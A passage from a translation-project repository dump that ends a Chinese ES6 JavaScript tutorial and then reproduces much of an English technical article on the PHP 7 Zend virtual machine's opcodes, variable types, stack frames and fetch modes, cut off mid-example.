6 行）：\n\n```\n// ES6\n\nfunction margin() {\n  const left=1, right=2, top=3, bottom=4;\n  return { left, right, top, bottom };\n}\nconst { left, bottom } = margin();\nconsole.log(left, bottom); // 1 4\n```\n\n*注意：* 在第 3 行中，我们使用了一些其他的 ES6 功能。我们将 `{ left: left }` 简化到只有 `{ left }`。与 ES5 版本相比，它变得如此简洁。酷不酷？\n\n**参数匹配的解构**\n\n\n```\n// ES5\nvar user = {firstName: 'Adrian', lastName: 'Mejia'};\nfunction getFullName(user) {\n  var firstName = user.firstName;\n  var lastName = user.lastName;\n  return firstName + ' ' + lastName;\n}\nconsole.log(getFullName(user)); // Adrian Mejia\n```\n\n等同于（但更简洁）：\n\n```\n// ES6\nconst user = {firstName: 'Adrian', lastName: 'Mejia'};\nfunction getFullName({ firstName, lastName }) {\n  return `${firstName} ${lastName}`;\n}\nconsole.log(getFullName(user)); // Adrian Mejia\n```\n\n**深度匹配**\n\n```\n// ES5\nfunction settings() {\n  return { display: { color: 'red' }, keyboard: { layout: 'querty'} };\n}\nvar tmp = settings();\nvar displayColor = tmp.display.color;\nvar keyboardLayout = tmp.keyboard.layout;\nconsole.log(displayColor, keyboardLayout); // red querty\n```\n\n等同于（但更简洁）：\n\n```\n// ES6\nfunction settings() {\n  return { display: { color: 'red' }, keyboard: { layout: 'querty'} };\n}\nconst { display: { color: displayColor }, keyboard: { layout: keyboardLayout }} = settings();\nconsole.log(displayColor, keyboardLayout); // red querty\n```\n\n这也称作对象的解构。\n\n\n如你所见，解构是非常实用的而且有利于促进良好的编码风格。\n\n> 最佳实践:\n> \n> *   使用数组解构去获取元素或交换值。它可以避免创建临时引用。\n> *   不要对多个返回值使用数组解构，而是要用对象解构。\n\n## 类和对象\n\n用 ECMAScript 6，我们从“构造函数”🔨 来到了“类”🍸。\n\n> 在 JavaScript 中，每个对象都有一个原型对象。所有的 JavaScript 对象都从它们的原型对象那里继承方法和属性。\n\n在 ES5 中，为了实现面向对象编程（OOP），我们使用构造函数来创建对象，如下：\n```\n// ES5\nvar Animal = (function () {\n  function MyConstructor(name) {\n    this.name = name;\n  }\n  MyConstructor.prototype.speak = function speak() {\n    console.log(this.name + ' makes a noise.');\n  };\n  return MyConstructor;\n})();\nvar animal = new Animal('animal');\nanimal.speak(); // animal makes a noise.\n```\n\nES6 中有了一些语法糖。通过像 `class` 和 `constructor` 这样的关键字和减少样板代码，我们可以做到同样的事情。另外，`speak()` 相对照 `constructor.prototype.speak = function ()`  更加清晰：\n\n```\n// ES6\nclass Animal {\n  constructor(name) {\n    this.name = name;\n  }\n  speak() {\n    console.log(this.name + ' makes a noise.');\n  }\n}\nconst animal = new Animal('animal');\nanimal.speak(); // animal makes a noise.\n```\n\n正如你所见，两种式样（ES5 与 6）在幕后产生相同的结果而且用法一致。\n\n> 最佳实践：\n> \n> *   总是使用 `class` 语法并避免直接直接操纵 `prototype`。为什么？因为它让代码更加简洁和易于理解。\n> *   避免使用空的构造函数。如果没有指定，类有一个默认的构造函数。\n\n## 继承\n\n基于前面的 `Animal` 类。 让我们扩展它并定义一个 `Lion` 类。\n\n在 ES5 中，它更多的与原型继承有关。\n\n```\n// ES5\nvar Lion = (function () {\n  function MyConstructor(name){\n    Animal.call(this, name);\n  }\n  // 原型继承\n  MyConstructor.prototype = Object.create(Animal.prototype);\n  MyConstructor.prototype.constructor = Animal;\n  MyConstructor.prototype.speak = function speak() {\n    Animal.prototype.speak.call(this);\n    console.log(this.name + ' roars 🦁');\n  };\n  return MyConstructor;\n})();\nvar lion = new Lion('Simba');\nlion.speak(); // Simba makes a noise.\n// Simba roars.\n```\n\n我不会重复所有的细节，但请注意：\n\n*   第 3 行中，我们添加参数显式调用了 `Animal` 构造函数。\n*   第 7-8 行，我们将 `Lion` 原型指派给 `Animal` 原型。\n*   第 11行中，我们调用了父类 `Animal` 的 `speak` 方法。\n\n在 ES6 中，我们有了新关键词 `extends` 和 `super` <img src=\"http://adrianmejia.com/images/superman_shield.svg\" width=\"25\" height=\"25\" alt=\"superman shield\" style=\"display:inline-block;\" data-pin-nopin=\"true\">。\n\n```\n// ES6\nclass Lion extends Animal {\n  speak() {\n    super.speak();\n    console.log(this.name + ' roars 🦁');\n  }\n}\nconst lion = new Lion('Simba');\nlion.speak(); // Simba makes a noise.\n// Simba roars.\n```\n\n虽然 ES6 和 ES5 的代码作用一致，但是 ES6 的代码显得更易读。更胜一筹！\n\n> 最佳实践：\n> \n> *   使用  `extends` 内置方法实现继承。\n\n## 原生 Promises\n\n从回调地狱 👹 到 promises 🙏。\n\n```\n// ES5\nfunction printAfterTimeout(string, timeout, done){\n  setTimeout(function(){\n    done(string);\n  }, timeout);\n}\nprintAfterTimeout('Hello ', 2e3, function(result){\n  console.log(result);\n  // 嵌套回调\n  printAfterTimeout(result + 'Reader', 2e3, function(result){\n    console.log(result);\n  });\n});\n```\n\n我们有一个接收一个回调的函数，当 `done` 时执行。我们必须一个接一个地执行它两次。这也是为什么我们在回调中第二次调用  `printAfterTimeout` 的原因。\n\n如果你需要第 3 次或第 4 次回调，可能很快就会变得混乱。来看看我们用 promises 的写法：\n\n```\n// ES6\nfunction printAfterTimeout(string, timeout){\n  return new Promise((resolve, reject) => {\n    setTimeout(function(){\n      resolve(string);\n    }, timeout);\n  });\n}\nprintAfterTimeout('Hello ', 2e3).then((result) => {\n  console.log(result);\n  return printAfterTimeout(result + 'Reader', 2e3);\n}).then((result) => {\n  console.log(result);\n});\n```\n\n如你所见，使用 promises 我们能在函数完成后进行一些操作。不再需要嵌套函数。\n\n## 箭头函数\n\nES6 没有移除函数表达式，但是新增了一种，叫做箭头函数。\n\n在 ES5 中，对于 `this` 我们有一些问题：\n\n```\n// ES5\nvar _this = this; // 保持一个引用\n$('.btn').click(function(event){\n  _this.sendData(); // 引用的是外层的 this\n});\n$('.input').on('change',function(event){\n  this.sendData(); // 引用的是外层的 this\n}.bind(this)); // 绑定到外层的 this\n```\n\n你需要使用一个临时的 `this` 在函数内部进行引用或用 `bind` 绑定。在 ES6 中，你可以用箭头函数。\n\n```\n// ES6\n// 引用的是外部的那个 this\n$('.btn').click((event) =>  this.sendData());\n// 隐式返回\nconst ids = [291, 288, 984];\nconst messages = ids.map(value => `ID is ${value}`);\n```\n\n## For…of\n\n从 `for` 到 `forEach` 再到 `for...of`：\n\n```\n// ES5\n// for\nvar array = ['a', 'b', 'c', 'd'];\nfor (var i = 0; i < array.length; i++) {\n  var element = array[i];\n  console.log(element);\n}\n// forEach\narray.forEach(function (element) {\n  console.log(element);\n});\n```\n\nES6 的 for…of 同样可以实现迭代。\n```\n// ES6\n// for ...of\nconst array = ['a', 'b', 'c', 'd'];\nfor (const element of array) {\n    console.log(element);\n}\n```\n\n## 默认参数\n\n从检查一个变量是否被定义到重新指定一个值再到 `default parameters`。\n你以前写过类似这样的代码吗？\n\n```\n// ES5\nfunction point(x, y, isFlag){\n  x = x || 0;\n  y = y || -1;\n  isFlag = isFlag || true;\n  console.log(x,y, isFlag);\n}\npoint(0, 0) // 0 -1 true 😱\npoint(0, 0, false) // 0 -1 true 😱😱\npoint(1) // 1 -1 true\npoint() // 0 -1 true\n```\n\n可能有过，这是一种检查变量是否赋值的常见模式，不然则分配一个默认值。然而，这里有一些问题：\n\n*  第 8 行中，我们传入 `0, 0` 返回了 `0, -1`。\n*  第 9 行中， 我们传入 `false` 但是返回了 `true`。\n\n如果你传入一个布尔值作为默认参数或将值设置为 0，它不能正常起作用。你知道为什么吗？在讲完 ES6 示例后我会告诉你。\n\n用 ES6，现在你可以用更少的代码做到更好！\n\n```\n// ES6\nfunction point(x = 0, y = -1, isFlag = true){\n  console.log(x,y, isFlag);\n}\npoint(0, 0) // 0 0 true\npoint(0, 0, false) // 0 0 false\npoint(1) // 1 -1 true\npoint() // 0 -1 true\n```\n\n请注意第 5 行和第 6 行，我们得到了预期的结果。ES5 示例则无效。首先检查是否等于 `undefined`，因为 `false`，`null`，`undefined` 和 `0` 都是假值，我们可以避开这些数字，\n\n\n```\n// ES5\nfunction point(x, y, isFlag){\n  x = x || 0;\n  y = typeof(y) === 'undefined' ? -1 : y;\n  isFlag = typeof(isFlag) === 'undefined' ? true : isFlag;\n  console.log(x,y, isFlag);\n}\npoint(0, 0) // 0 0 true\npoint(0, 0, false) // 0 0 false\npoint(1) // 1 -1 true\npoint() // 0 -1 true\n```\n\n当我们检查是否为 `undefined` 后，获得了期望的结果。\n\n## 剩余参数\n\n从参数到剩余参数和扩展操作符。\n\n在 ES5 中，获取任意数量的参数是非常麻烦的：\n\n\n```\n// ES5\nfunction printf(format) {\n  var params = [].slice.call(arguments, 1);\n  console.log('params: ', params);\n  console.log('format: ', format);\n}\nprintf('%s %d %.2f', 'adrian', 321, Math.PI);\n```\n\n我们可以用 rest 操作符 `...` 做到同样的事情。\n\n```\n// ES6\n\nfunction printf(format, ...params) {\n  console.log('params: ', params);\n  console.log('format: ', format);\n}\nprintf('%s %d %.2f', 'adrian', 321, Math.PI);\n```\n\n## 展开运算符\n\n从 `apply()` 到展开运算符。我们同样用 `...` 来解决：\n\n> 提醒：我们使用 `apply()` 将数组转换为一列参数。例如，`Math.max()` 作用于一列参数，但是如果我们有一个数组，我们就能用 `apply` 让它生效。\n\n![](http://adrianmejia.com/images/javascript-math-apply-arrays.png \"JavaScript Math apply for arrays\")\n\n正如我们较早之前看过的，我们可以使用 `apply` 将数组作为参数列表传递：\n\n\n```\n// ES5\nMath.max.apply(Math, [2,100,1,6,43]) // 100\n```\n\n在 ES6 中，你可以用展开运算符：\n\n```\n// ES6\nMath.max(...[2,100,1,6,43]) // 100\n```\n\n同样，从 `concat` 数组到使用展开运算符：\n\n\n```\n// ES5\nvar array1 = [2,100,1,6,43];\nvar array2 = ['a', 'b', 'c', 'd'];\nvar array3 = [false, true, null, undefined];\nconsole.log(array1.concat(array2, array3));\n```\n\n在 ES6 中，你可以用展开运算符来压平嵌套：\n\n```\n// ES6\nconst array1 = [2,100,1,6,43];\nconst array2 = ['a', 'b', 'c', 'd'];\nconst array3 = [false, true, null, undefined];\nconsole.log([...array1, ...array2, ...array3]);\n```\n\n# 总结\n\nJavaScript 经历了相当多的修改。这篇文章涵盖了每个 JavaScript 开发者都应该了解的大多数核心功能。同样，我们也介绍了一些让你的代码更加简洁，易于理解的最佳实践。\n\n如果你认为还有一些没有提到的**必知**的功能，请在下方留言，我会更新这篇文章。\n\n"
  },
  {
    "path": "TODO/PHP-7-Virtual-machine.md",
    "content": "> * 原文地址：[PHP 7 Virtual Machine](http://nikic.github.io/2017/04/14/PHP-7-Virtual-machine.html)\n> * 原文作者：[nikic](http://nikic.github.io/aboutMe.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# PHP 7 Virtual Machine #\n        \nThis article aims to provide an overview of the Zend Virtual Machine, as it is found in PHP 7. This is not a\ncomprehensive description, but I try to cover most of the important parts, as well as some of the finer details.\n\nThis description targets PHP version 7.2 (currently in development), but nearly everything also applies to PHP 7.0/7.1.\nHowever, the differences to the PHP 5.x series VM are significant and I will generally not bother to draw parallels.\n\nMost of this post will consider things at the level of instruction listings and only a few sections at the end deal with\nthe actual C level implementation of the VM. However, I do want to provide some links to the main files that make up the\nVM upfront:\n\n- [zend_vm_def.h](https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h): The VM definition file.\n- [zend_vm_execute.h](https://github.com/php/php-src/blob/master/Zend/zend_vm_execute.h): The generated virtual machine.\n- [zend_vm_gen.php](https://github.com/php/php-src/blob/master/Zend/zend_vm_gen.php): The generating script.\n- [zend_execute.c](https://github.com/php/php-src/blob/master/Zend/zend_execute.c): Most of the direct support code.\n\n## Opcodes ##\n\nIn the beginning, there was the opcode. “Opcode” is how we refer to a full VM instruction (including operands), but may\nalso designate only the “actual” operation code, which is a small integer determining the type of instruction. The\nintended meaning should be clear from context. In source code, full instructions are usually called “oplines”.\n\nAn individual instruction conforms to the following `zend_op` structure:\n\n```\nstruct _zend_op {\n    const void *handler;\n    znode_op op1;\n    znode_op op2;\n    znode_op result;\n    uint32_t extended_value;\n    uint32_t lineno;\n    zend_uchar opcode;\n    zend_uchar op1_type;\n    zend_uchar op2_type;\n    zend_uchar result_type;\n};\n```\n\nAs such, opcodes are essentially a “three-address code” instruction format. There is an `opcode` determining the\ninstruction type, there are two input operands `op1` and `op2` and one output operand `result`.\n\nNot all instructions use all operands. An `ADD` instruction (representing the `+` operator) will use all three. A\n`BOOL_NOT` instruction (representing the `!` operator) uses only op1 and result. An `ECHO` instruction uses only op1.\nSome instructions may either use or not use an operand. For example `DO_FCALL` may or may not have a result operand,\ndepending on whether the return value of the function call is used. Some instructions require more than two input\noperands, in which case they will simply use a second dummy instruction (`OP_DATA`) to carry additional operands.\n\nNext to these three standard operands, there exists an additional numeric `extended_value` field, which can be used to\nhold additional instruction modifiers. For example for a `CAST` it might contain the target type to cast to.\n\nEach operand has a type, stored in `op1_type`, `op2_type` and `result_type` respectively. The possible types are\n`IS_UNUSED`, `IS_CONST`, `IS_TMPVAR`, `IS_VAR` and `IS_CV`.\n\nThe three latter types designated a variable operand (with three different types of VM variables), `IS_CONST` denotes\na constant operand (`5` or `\"string\"` or even `[1, 2, 3]`), while `IS_UNUSED` denotes an operand that is either actually\nunused, or which is used as a 32-bit numeric value (an “immediate”, in assembly jargon). Jump instructions for example\nwill store the jump target in an `UNUSED` operand.\n\n### Obtaining opcode dumps ###\n\nIn the following, I’ll often show opcode sequences that PHP generates for some example code. There are currently three\nways by which such opcode dumps may be obtained:\n\n```\n# Opcache, since PHP 7.1\nphp -d opcache.opt_debug_level=0x10000 test.php\n\n# phpdbg, since PHP 5.6\nphpdbg -p* test.php\n\n# vld, third-party extension\nphp -d vld.active=1 test.php\n\n```\n\nOf these, opcache provides the highest-quality output. The listings used in this article are based on opcache dumps,\nwith minor syntax adjustments. The magic number `0x10000` is short for “before optimization”, so that we see the opcodes\nas the PHP compiler produced them. `0x20000` would give you optimized opcodes. Opcache can also generate a lot more\ninformation, for example `0x40000` will produce a CFG, while `0x200000` will produce type- and range-inferred SSA form.\nBut that’s getting ahead of ourselves: plain old linearized opcode dumps are sufficient for our purposes.\n\n## Variable types ##\n\nLikely one of the most important points to understand when dealing with the PHP virtual machine, are the three distinct\nvariable types it uses. In PHP 5 TMPVAR, VAR and CV had very different representations on the VM stack, along with\ndifferent ways of accessing them. In PHP 7 they have become very similar in that they share the same storage mechanism.\nHowever there are important differences in the values they can contain and their semantics.\n\nCV is short for “compiled variable” and refers to a “real” PHP variable. If a function uses variable `$a`, there will be\na corresponding CV for `$a`.\n\nCVs can have `UNDEF` type, to denote undefined variables. If an UNDEF CV is used in an instruction, it will (in most\ncases) throw the well-known “undefined variable” notice. On function entry all non-argument CVs are initialized to be\nUNDEF.\n\nCVs are not consumed by instructions, e.g. an instruction `ADD $a, $b` will *not* destroy the values stored in CVs `$a`\nand `$b`. Instead all CVs are destroyed together on scope exit. This also implies that all CVs are “live” for the\nentire duration of function, where “live” here refers to containing a valid value (not live in the data flow sense).\n\nTMPVARs and VARs on the other hand are virtual machine temporaries. They are typically introduced as the result operand\nof some operation. For example the code `$a = $b + $c + $d` will result in an opcode sequence similar to the following:\n\n```\nT0 = ADD $b, $c\nT1 = ADD T0, $d\nASSIGN $a, T1\n\n```\n\nTMP/VARs are always defined before use and as such cannot hold an UNDEF value. Unlike CVs, these variable types *are*\nconsumed by the instructions they’re used in. In the above example, the second ADD will destroy the value of the T0\noperand and T0 must not be used after this point (unless it is written to beforehand). Similarly, the ASSIGN will\nconsume the value of T1, invalidating T1.\n\nIt follows that TMP/VARs are usually very short-lived. In a large number of cases a temporary only lives for the space\nof a single instruction. Outside this short liveness interval, the value in the temporary is garbage.\n\nSo what’s the difference between TMP and VAR? Not much. The distinction was inherited from PHP 5, where TMPs were VM\nstack allocated, while VARs were heap allocated. In PHP 7 all variables are stack allocated. As such, nowadays the main\ndifference between TMPs and VARs is that only the latter are allowed to contain REFERENCEs (this allows us to elide\nDEREFs on TMPs). Furthermore VARs may hold two types of special values, namely class entries and INDIRECT values. The\nlatter are used to handle non-trivial assignments.\n\nThe following table attempts to summarize the main differences:\n\n```\n       | UNDEF | REF | INDIRECT | Consumed? | Named? |\n-------|-------|-----|----------|-----------|--------|\nCV     |  yes  | yes |    no    |     no    |  yes   |\nTMPVAR |   no  |  no |    no    |    yes    |   no   |\nVAR    |   no  | yes |   yes    |    yes    |   no   |\n\n```\n\n## Op arrays ##\n\nAll PHP functions are represented as structures that have a common `zend_function` header. “Function” here is to be\nunderstood somewhat broadly and includes everything from “real” functions, over methods, down to free-standing\n“pseudo-main” code and “eval” code.\n\nUserland functions use the `zend_op_array` structure. It has more than 30 members, so I’m starting with a reduced\nversion for now:\n\n```\nstruct _zend_op_array {\n    /* Common zend_function header here */\n\n    /* ... */\n    uint32_t last;\n    zend_op *opcodes;\n    int last_var;\n    uint32_t T;\n    zend_string **vars;\n    /* ... */\n    int last_literal;\n    zval *literals;\n    /* ... */\n};\n```\n\nThe most important part here are of course the `opcodes`, which is an array of opcodes (instructions). `last` is the\nnumber of opcodes in this array. Note that the terminology is confusing here, as `last` sounds like it should be the\nindex of the last opcode, while it really is the number of opcodes (which is one greater than the last index). The same\napplies to all other `last_*` values in the op array structure.\n\n`last_var` is the number of CVs, and `T` is the number of TMPs and VARs (in most places we make no strong distinction\nbetween them). `vars` in array of names for CVs.\n\n`literals` is an array of literal values occurring in the code. This array is what `CONST` operands reference. Depending\non the ABI, each `CONST` operand will either a store a pointer into this `literals` table, or store an offset relative\nto its start.\n\nThere is more to the op array structure than this, but it can wait for later.\n\n## Stack frame layout ##\n\nApart from some executor globals (EG), all execution state is stored on the virtual machine stack. The VM stack is\nallocated in pages of 256 KiB and individual pages are connected through a linked list.\n\nOn each function call, a new stack frame is allocated on the VM stack, with the following layout:\n\n```\n+----------------------------------------+\n| zend_execute_data                      |\n+----------------------------------------+\n| VAR[0]                =         ARG[1] | arguments\n| ...                                    |\n| VAR[num_args-1]       =         ARG[N] |\n| VAR[num_args]         =   CV[num_args] | remaining CVs\n| ...                                    |\n| VAR[last_var-1]       = CV[last_var-1] |\n| VAR[last_var]         =         TMP[0] | TMP/VARs\n| ...                                    |\n| VAR[last_var+T-1]     =         TMP[T] |\n| ARG[N+1] (extra_args)                  | extra arguments\n| ...                                    |\n+----------------------------------------+\n\n```\n\nThe frame starts with a `zend_execute_data` structure, followed by an array of variable slots. The slots are all the\nsame (simple zvals), but are used for different purposes. The first `last_var` slots are CVs, of which the first\n`num_args` holds function arguments. The CV slots are followed by `T` slots for TMP/VARs. Lastly, there can sometimes be\n“extra” arguments stored at the end of the frame. These are used for handling `func_get_args()`.\n\nCV and TMP/VAR operands in instructions are encoded as offsets relative to the start of the stack frame, so fetching\na certain variable is simply an offseted read from the `execute_data` location.\n\nThe execute data at the start of the frame is defined as follows:\n\n```\nstruct _zend_execute_data {\n    const zend_op       *opline;\n    zend_execute_data   *call;\n    zval                *return_value;\n    zend_function       *func;\n    zval                 This;             /* this + call_info + num_args    */\n    zend_class_entry    *called_scope;\n    zend_execute_data   *prev_execute_data;\n    zend_array          *symbol_table;\n    void               **run_time_cache;   /* cache op_array->run_time_cache */\n    zval                *literals;         /* cache op_array->literals       */\n};\n```\n\nMost importantly, this structure contains `opline`, which is the currently executed instruction, and `func`, which is\nthe currently executed function. Furthermore:\n\n- `return_value` is a pointer to the zval into the which the return value will be stored.\n- `This` is the `$this` object, but also encodes the number of function arguments and a couple of call metadata flags\nin some unused zval space.\n- `called_scope` is the scope that `static::` refers to in PHP code.\n- `prev_execute_data` points to the previous stack frame, to which execution will return after this function finished\nrunning.\n- `symbol_table` is a typically unused symbol table used in case some crazy person actually uses variable variables or\nsimilar features.\n- `run_time_cache` caches the op array runtime cache, in order to avoid one pointer indirection when accessing this\nstructure (which is discussed later).\n- `literals` caches the op array literals table for the same reason.\n\n## Function calls ##\n\nI’ve skipped one field in the execute_data structure, namely `call`, as it requires some further context about how\nfunction calls work.\n\nAll calls use a variation on the same instruction sequence. A `var_dump($a, $b)` in global scope will compile to:\n\n```\nINIT_FCALL (2 args) \"var_dump\"\nSEND_VAR $a\nSEND_VAR $b\nV0 = DO_ICALL   # or just DO_ICALL if retval unused\n\n```\n\nThere are eight different types of INIT instructions depending on what kind of call it is. INIT_FCALL is used for calls\nto free functions that we recognize at compile time. Similarly there are ten different SEND opcodes depending on the\ntype of the arguments and the function. There is only a modest number of four DO_CALL opcodes, where ICALL is used for\ncalls to internal functions.\n\nWhile the specific instructions may differ, the structure is always the same: INIT, SEND, DO. The main issue that the\ncall sequence has to contend with are nested function calls, which compile something like this:\n\n```\n# var_dump(foo($a), bar($b))\nINIT_FCALL (2 args) \"var_dump\"\n    INIT_FCALL (1 arg) \"foo\"\n    SEND_VAR $a\n    V0 = DO_UCALL\nSEND_VAR V0\n    INIT_FCALL (1 arg) \"bar\"\n    SEND_VAR $b\n    V1 = DO_UCALL\nSEND_VAR V1\nV2 = DO_ICALL\n\n```\n\nI’ve indented the opcode sequence to visualize which instructions correspond to which call.\n\nThe INIT opcode pushes a call frame on the stack, which contains enough space for all the variables in the function and\nthe number of arguments we know about (if argument unpacking is involved, we may end up with more arguments). This call\nframe is initialized with the called function, `$this` and the `called_scope` (in this case the latter are both NULL, as\nwe’re calling free functions).\n\nA pointer to the new frame is stored into `execute_data->call`, where `execute_data` is the frame of the calling\nfunction. In the following we’ll denote such accesses as `EX(call)`. Notably, the `prev_execute_data` of the new frame\nis set to the old `EX(call)` value. For example, the INIT_FCALL for call `foo` will set the prev_execute_data to the\nstack frame of the `var_dump` (rather than that of the surrounding function). As such, prev_execute_data in this case\nforms a linked list of “unfinished” calls, while usually it would provide the backtrace chain.\n\nThe SEND opcodes then proceed to push arguments into the variable slots of `EX(call)`. At this point the arguments are\nall consecutive and may overflow from the section designated for arguments into other CVs or TMPs. This will be fixed\nlater.\n\nLastly DO_FCALL performs the actual call. What was `EX(call)` becomes the current function and `prev_execute_data` is\nrelinked to the calling function. Apart from that, the call procedure depends on what kind of function it is. Internal\nfunctions only need to invoke a handler function, while userland functions need to finish initialization of the stack\nframe.\n\nThis initialization involves fixing up the argument stack. PHP allows passing more arguments to a function than it\nexpects (and `func_get_args` relies on this). However, only the actually declared arguments have corresponding CVs.\nAny arguments beyond this will write into memory reserved for other CVs and TMPs. As such, these arguments will be moved\nafter the TMPs, ending up with arguments segmented into two non-continuous chunks.\n\nTo have it clearly stated, userland function calls do not involve recursion at the virtual machine level. They only\ninvolve a switch from one execute_data to another, but the VM continues running in a linear loop. Recursive virtual\nmachine invocations only occur if internal functions invoke userland callbacks (e.g. through `array_map`). This is the\nreason why infinite recursion in PHP usually results in a memory limit or OOM error, but it is possible to trigger a\nstack overflow by recursion through callback-functions or magic methods.\n\n### Argument sending ###\n\nPHP uses a large number of different argument sending opcodes, whose differences can be confusing, no thanks to some\nunfortunate naming.\n\nSEND_VAL and SEND_VAR are the simplest variants, which handle sending of by-value arguments that are known to be\nby-value at compile time. SEND_VAL is used for CONST and TMP operands, while SEND_VAR is for VARs and CVs.\n\nSEND_REF conversely, is used for arguments that are known to be by-reference during compilation. As only variables can\nbe sent by reference, this opcode only accepts VARs and CVs.\n\nSEND_VAL_EX and SEND_VAR_EX are variants of SEND_VAL/SEND_VAR for cases where we cannot determine statically whether the\nargument is by-value or by-reference. These opcodes will check the kind of the argument based on arginfo and behave\naccordingly. In most cases the actual arginfo structure is not used, but rather a compact bit vector representation\ndirectly in the function structure.\n\nAnd then there is SEND_VAR_NO_REF_EX. Don’t try to read anything into its name, it’s outright lying. This opcode is\nused when passing something that isn’t really a “variable” but does return a VAR to a statically unknown argument. Two\nparticular examples where it is used are passing the result of a function call as an argument, or passing the result of\nan assignment.\n\nThis case needs a separate opcode for two reasons: Firstly, it will generate the familiar “Only variables should be\npassed by reference” notice if you try to pass something like an assignment by ref (if SEND_VAR_EX were used instead, it\nwould have been silently allowed). Secondly, this opcode deals with the case that you might want to pass the result of\na reference-returning function to a by-reference argument (which should not throw anything). The SEND_VAR_NO_REF variant\nof this opcode (without the _EX) is a specialized variant for the case where we statically know that a reference is\nexpected (but we don’t know whether the argument is one).\n\nThe SEND_UNPACK and SEND_ARRAY opcodes deal with argument unpacking and inlined `call_user_func_array` calls\nrespectively. They both push the elements from an array onto the argument stack and differ in various details (e.g.\nunpacking supports Traversables while call_user_func_array does not). If unpacking/cufa is used, it may be necessary\nto extend the stack frame beyond its previous size (as the real number of function arguments is not known at the time\nof initialization). In most cases this extension can happen simply by moving the stack top pointer. However if this\nwould cross a stack page boundary, a new page has to be allocated and the entire call frame (including already pushed\narguments) needs to be copied to the new page (we are not be able to handle a call frame crossing a page boundary).\n\nThe last opcode is SEND_USER, which is used for inlined `call_user_func` calls and deals with some of its peculiarities.\n\nWhile we haven’t yet discussed the different variable fetch modes, this seems like a good place to introduce the\nFUNC_ARG fetch mode. Consider a simple call like `func($a[0][1][2])`, for which we do not know at compile-time whether\nthe argument will be passed by-value or by-reference. In both cases the behavior will be wildly different. If the pass is\nby-value and `$a` was previously empty, this could would have to generate a bunch of “undefined index” notices. If the\npass is by-reference we’d have to silently initialize the nested arrays instead.\n\nThe FUNC_ARG fetch mode will dynamically choose one of the two behaviors (R or W), by inspecting the arginfo of the\ncurrent `EX(call)` function. For the `func($a[0][1][2])` example, the opcode sequence might look something like this:\n\n```\nINIT_FCALL_BY_NAME \"func\"\nV0 = FETCH_DIM_FUNC_ARG (arg 1) $a, 0\nV1 = FETCH_DIM_FUNC_ARG (arg 1) V0, 1\nV2 = FETCH_DIM_FUNC_ARG (arg 1) V1, 2\nSEND_VAR_EX V2\nDO_FCALL\n\n```\n\n## Fetch modes ##\n\nThe PHP virtual machine has four classes of fetch opcodes:\n\n```\nFETCH_*             // $_GET, $$var\nFETCH_DIM_*         // $arr[0]\nFETCH_OBJ_*         // $obj->prop\nFETCH_STATIC_PROP_* // A::$prop\n\n```\n\nThese do precisely what one would expect them to do, with the caveat that the basic FETCH_* variant is only used to\naccess variable-variables and superglobals: normal variable accesses go through the much faster CV mechanism instead.\n\nThese fetch opcodes each come in six variants:\n\n```\n_R\n_RW\n_W\n_IS\n_UNSET\n_FUNC_ARG\n\n```\n\nWe’ve already learned that _FUNC_ARG chooses between _R and _W depending on whether a function argument is by-value or\nby-reference. Let’s try to create some situations where we would expect the different fetch types to appear:\n\n```\n// $arr[0];\nV2 = FETCH_DIM_R $arr int(0)\nFREE V2\n\n// $arr[0] = $val;\nASSIGN_DIM $arr int(0)\nOP_DATA $val\n\n// $arr[0] += 1;\nASSIGN_ADD (dim) $arr int(0)\nOP_DATA int(1)\n\n// isset($arr[0]);\nT5 = ISSET_ISEMPTY_DIM_OBJ (isset) $arr int(0)\nFREE T5\n\n// unset($arr[0]);\nUNSET_DIM $arr int(0)\n\n```\n\nUnfortunately, the only actual fetch this produced is FETCH_DIM_R: Everything else is handled through special opcodes.\nNote that ASSIGN_DIM and ASSIGN_ADD both use an extra OP_DATA, because they need more than two input operands. The\nreason why special opcodes like ASSIGN_DIM are used, instead of something like FETCH_DIM_W + ASSIGN, is (apart from\nperformance) that these operations may be overloaded, e.g., in the ASSIGN_DIM case by means of an object implementing\nArrayAccess::offsetSet(). To actually generate the different fetch types we need to increase the level of nesting:\n\n```\n// $arr[0][1];\nV2 = FETCH_DIM_R $arr int(0)\nV3 = FETCH_DIM_R V2 int(1)\nFREE V3\n\n// $arr[0][1] = $val;\nV4 = FETCH_DIM_W $arr int(0)\nASSIGN_DIM V4 int(1)\nOP_DATA $val\n\n// $arr[0][1] += 1;\nV6 = FETCH_DIM_RW $arr int(0)\nASSIGN_ADD (dim) V6 int(1)\nOP_DATA int(1)\n\n// isset($arr[0][1]);\nV8 = FETCH_DIM_IS $arr int(0)\nT9 = ISSET_ISEMPTY_DIM_OBJ (isset) V8 int(1)\nFREE T9\n\n// unset($arr[0][1]);\nV10 = FETCH_DIM_UNSET $arr int(0)\nUNSET_DIM V10 int(1)\n\n```\n\nHere we see that while the outermost access uses specialized opcodes, the nested indexes will be handled using FETCHes\nwith an appropriate fetch mode. The fetch modes essentially differ by a) whether they generate an “undefined offset”\nnotice if the index doesn’t exist, and whether they fetch the value for writing:\n\n```\n      | Notice? | Write?\nR     |  yes    |  no\nW     |  no     |  yes\nRW    |  yes    |  yes\nIS    |  no     |  no\nUNSET |  no     |  yes-ish\n\n```\n\nThe case of UNSET is a bit peculiar, in that it will only fetch existing offsets for writing, and leave undefined ones\nalone. A normal write-fetch would initialize undefined offsets instead.\n\n### Writes and memory safety ###\n\nWrite fetches return VARs that may contain either a normal zval or an INDIRECT pointer to another zval. Of course, in\nthe former case any changes applied to the zval will not be visible, as the value is only accessible through a VM\ntemporary. While PHP prohibits expression such as `[][0] = 42`, we still need to handle this for cases like\n`call()[0] = 42`. Depending on whether `call()` returns by-value or by-reference, this expression may or may not have an\nobservable effect.\n\nThe more typical case is when the fetch returns an INDIRECT, which contains a pointer to the storage location that is\nbeing modified, for example a certain location in a hashtable data array. Unfortunately, such pointers are fragile\nthings and easily invalidated: any concurrent write to the array might trigger a reallocation, leaving behind a dangling\npointer. As such, it is critical to prevent the execution of user code between the point where an INDIRECT value is\ncreated and where it is consumed.\n\nConsider this example:\n\n```\n$arr[a()][b()]=c();\n```\n\nWhich generates:\n\n```\nINIT_FCALL_BY_NAME (0 args) \"a\"\nV1 = DO_FCALL_BY_NAME\nINIT_FCALL_BY_NAME (0 args) \"b\"\nV3 = DO_FCALL_BY_NAME\nINIT_FCALL_BY_NAME (0 args) \"c\"\nV5 = 